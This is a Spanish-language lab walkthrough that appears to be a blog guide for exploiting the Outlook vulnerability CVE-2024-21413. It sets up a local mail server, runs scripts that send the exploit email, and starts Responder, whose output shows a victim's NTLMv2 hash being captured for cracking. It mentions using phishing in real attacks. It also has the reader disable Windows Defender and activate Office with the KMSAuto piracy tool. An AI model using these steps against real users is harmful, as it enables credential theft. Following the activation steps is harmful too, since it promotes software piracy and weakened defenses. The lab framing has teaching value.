CVE-2024-21413 (Outlook)

Lo que primero tendremos que hacer es instalar en nuestro hipervisor un Windows 10, una vez estando dentro de la maquina tendremos que ejecutar los siguiente comandos.

Instalación laboratorio

hMailServer

Tendremos que crear un servidor en local para crear los dos correos los cuales uno sera el del atacante y otro el de la victima, por lo que tendremos que descargar la herramienta llamada hMailServer para Windows.

URL = Download hMailServer

NOTA IMPORTANTE

Antes de instalar hMailServer puede ser que de un error en la instalacion, por lo que instalaremos de forma manual una dependencia que necesita dicho programa llamada NetFx20SP1_x64, nos la descargaremos en el siguiente link:

URL = Download NetFx20SP1_x64

Una vez instalado dicha dependencia ejecutaremos el instalador de hMailServer, una vez que se haya instalado siguiendo todos los pasos por defecto (Estableceremos una contraseña para el servidor en el proceso de instalacion), abriremos el ejecutable y nos aparecera una pantalla como esta:

Tendremos que darle a Connect, meteremos las password que configuramos anteriormente en el proceso de instalacion y le daremos a Ok, esto nos metera en un menu con las opciones del servidor de correo, las cuales tendremos que configurar de la siguiente forma:

Le daremos a Add Domain... -> En la parte de Domain pondremos el dominio que queremos que tenga, por ejemplo victim.local -> Save

Y con esto habremos creado el dominio, si nos vamos a la parte de Domains -> <NUESTRO_DOMINIO> -> Accounts -> le daremos Add... para añadir una cuenta de correo bajo dicho dominio, por lo que le nombraremos por ejemplo en Address como victim -> Save y el mism proceso pero creando el de attacker, quedando algo asi:

Ahora nos iremos a la seccion de Settings -> Protocols -> SMTP -> Delivery of e-mail -> en localhost name pondremos la IP de la maquina victima y en SMTP Relayer -> Remote Host Name pondremos la misma IP de la maquina victima

Con esto ya estaria configurado nuestro servidor de correo.

Office + Outlook

Tendremos que instalar Office para de ahi instalar solo Outlook, por lo que utilizaremos una herramienta llamada KMSTools:

URL = Download KMSTools

Tendremos que desactivar el Windows Defender para descomprimir y ejecutar esta herramienta:

Buscaremos Seguridad de Windows -> Proteccion Antivirus y contra amenazas -> Configuracion de Antivirus y contra amenazas -> Administrar la configuracion -> Desactivamos la casilla de Proteccion en tiempo real.

Una vez echo esto descomprimiremos el archivo, lo que sera una carpeta que usaremos mas adelante y el ejecutable llamado KMSTools.exe, se abrira una interfaz en la que pulsaremos Instalar Office 2019 y nos aparecera una ventana en la que tendremos que seleccionar la arquitectura de x64, el idioma en es-ES y deseleccionar todo dejando solo la opcion de Outlook de la parte izquierda, le daremos a Instalar.

Una vez que se haya instalado todo correctamente, abriremos la carpeta llamada Programs -> KMSAuto Lite Portable v1.5.5 -> Ejecutamos el archivo llamado KMSAuto x64.exe.

Con esto lo que haremos sera activar Office con una licencia, seleccionaremos Activar Office cuando nos pregunte si estamos seguros le daremos a que si, este proceso puede tardar un poco, pero cuando ponga Succesful significa que ya podremos abrir OutLook de forma activada y con licencia.

Añadir cuentas de correo a Outlook

Tendremos que abrir Outlook, si lo abrimos por primera vez nos aparecera algo asi:

Por lo que en esa parte tendremos que poner la primera cuenta de correo que en mi caso seria victim@victim.local seguir todos los pasos para añadir la cuenta y seguidamente añadir otra que seria la de attacker@victim.local asignandole una contraseña a cada una de ellas, una vez terminado el proceso de añadir dichas cuentas, ya podremos intentar explotar dicha vulenrabilidad.

En tal caso de que ya tengamos el Outlook con unas cuentas, para añadir mas tendremos que darle a Archivo -> Informacion -> Agregar Cuenta

Explotación CVE-2024-21413

Como ya tendremos añadidas las cuentas de correo en dicha maquina, podremos hacerlo con los scripts que estan en el siguiente repositorio:

URL = GitHub CVE-2024-21413

NOTA

En un entorno real se tendra que utilizar alguna cuenta de correo en forma de suplantacion o un phishing para obtener dicho correo.

Una vez teniendo los scripts, tendremos que ejecutar primero:

python3 exploitSendEmailOutlook.py

Info:

╭─────────────────────────────────────────────────────────────────────────────────── Email Exploit Tool ────────────────────────────────────────────────────────────────────────────────────╮
│ Herramienta de Envío de Correo Exploit                                                                                                                                                    │
│ Automatiza el envío de correos con fines educativos y de prueba.                                                                                                                          │
╰───────────────────────────────────────────────────────────────────────────────────── Creador: d1se0 ──────────────────────────────────────────────────────────────────────────────────────╯
Introduce el correo electrónico del remitente (attacker): attacker@victim.local 
Introduce el correo electrónico del destinatario (victim): victim@victim.local
Introduce la contraseña del remitente: 
Introduce la IP del servidor SMTP: 192.168.5.194

Resumen de la información ingresada:
- Remitente: attacker@victim.local
- Destinatario: victim@victim.local
- Servidor SMTP IP: 192.168.5.194
¿Quieres proceder con el envío del correo? (si/no) [s/n]: s

Intentando conectar al servidor SMTP...
Conexión establecida con el servidor SMTP.
Intentando iniciar sesión en el servidor SMTP...
Autenticación exitosa.
Enviando correo...
Correo enviado exitosamente.

Para enviar el correo a la victima siguiendo los pasos del script, despues tendremos que ejecutar seguidamente el siguiente script:

python3 captureHashResponder.py

Info:

╭──────────────────────────────────────────────────────────────────── Responder Runner ─────────────────────────────────────────────────────────────────────╮
│ Herramienta de Ejecución de Responder                                                                                                                     │
│ Un script para ejecutar el comando Responder con estilo.                                                                                                  │
╰───────────────────────────────────────────────────────────────────── Creador: d1se0 ──────────────────────────────────────────────────────────────────────╯
Introduce la interfaz de red (ejemplo: eth0, wlan0, etc.): eth0
Has seleccionado la interfaz: eth0
¿Quieres proceder con el comando? (si/no) [s/n]: s
Ejecutando comando: sudo responder -I {interface} -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [OFF]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.5.186]
    Responder IPv6             [fe80::30c1:636f:f2b6:3224]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:
    Responder Machine Name     [WIN-398S1PLA1HZ]
    Responder Domain Name      [7FKZ.LOCAL]
    Responder DCE-RPC Port     [46910]

[+] Listening for events...

Para estar a la escucha cuando el usuario clicke el enlace y nos llegue los hashes NTLMv2

El usuario en la maquina Windows podremos ver que nos llega el correo, por lo que si le damos a Click aqui, tendremos que confirmar que si a que queremos continuar y nos dara un error, por que sea esta intentando conectar a un recurso samba que no existe, para el usuario sera algo normal, pero en la maquina atacante, podremos ver que obtuvimos el hash NTLMv2 del usuario donde tenemos la escucha.

[HTTP] Sending NTLM authentication request to 192.168.5.194
[WebDAV] NTLMv2 Client   : 192.168.5.194
[WebDAV] NTLMv2 Username : DESKTOP-LAJ79G5\victim
[WebDAV] NTLMv2 Hash     : victim::DESKTOP-LAJ79G5:adaa9c32fec22d78:1421E09CFD2A7473B5823C9B0DC85837:0101000000000000A95CFDFA3546DB0116F397A8DD6E6C2900000000020008004700370036004D0001001E00570049004E002D00570055004C0051004D0042004D0052005A0056004400040014004700370036004D002E004C004F00430041004C0003003400570049004E002D00570055004C0051004D0042004D0052005A00560044002E004700370036004D002E004C004F00430041004C00050014004700370036004D002E004C004F00430041004C00080030003000000000000000000000000030000038EBDB2DDF593E53E76A4E873E3326621E3F5AC29A4DCBD27FC921C7BF0B5A6B0A0010000000000000000000000000000000000009002E0048005400540050002F00760069006300740069006D002E006C006F00630061006C0064006F006D00610069006E000000000000000000

Por lo que ya tendremos que intentar crackearlo con john o hashcat.

Last updated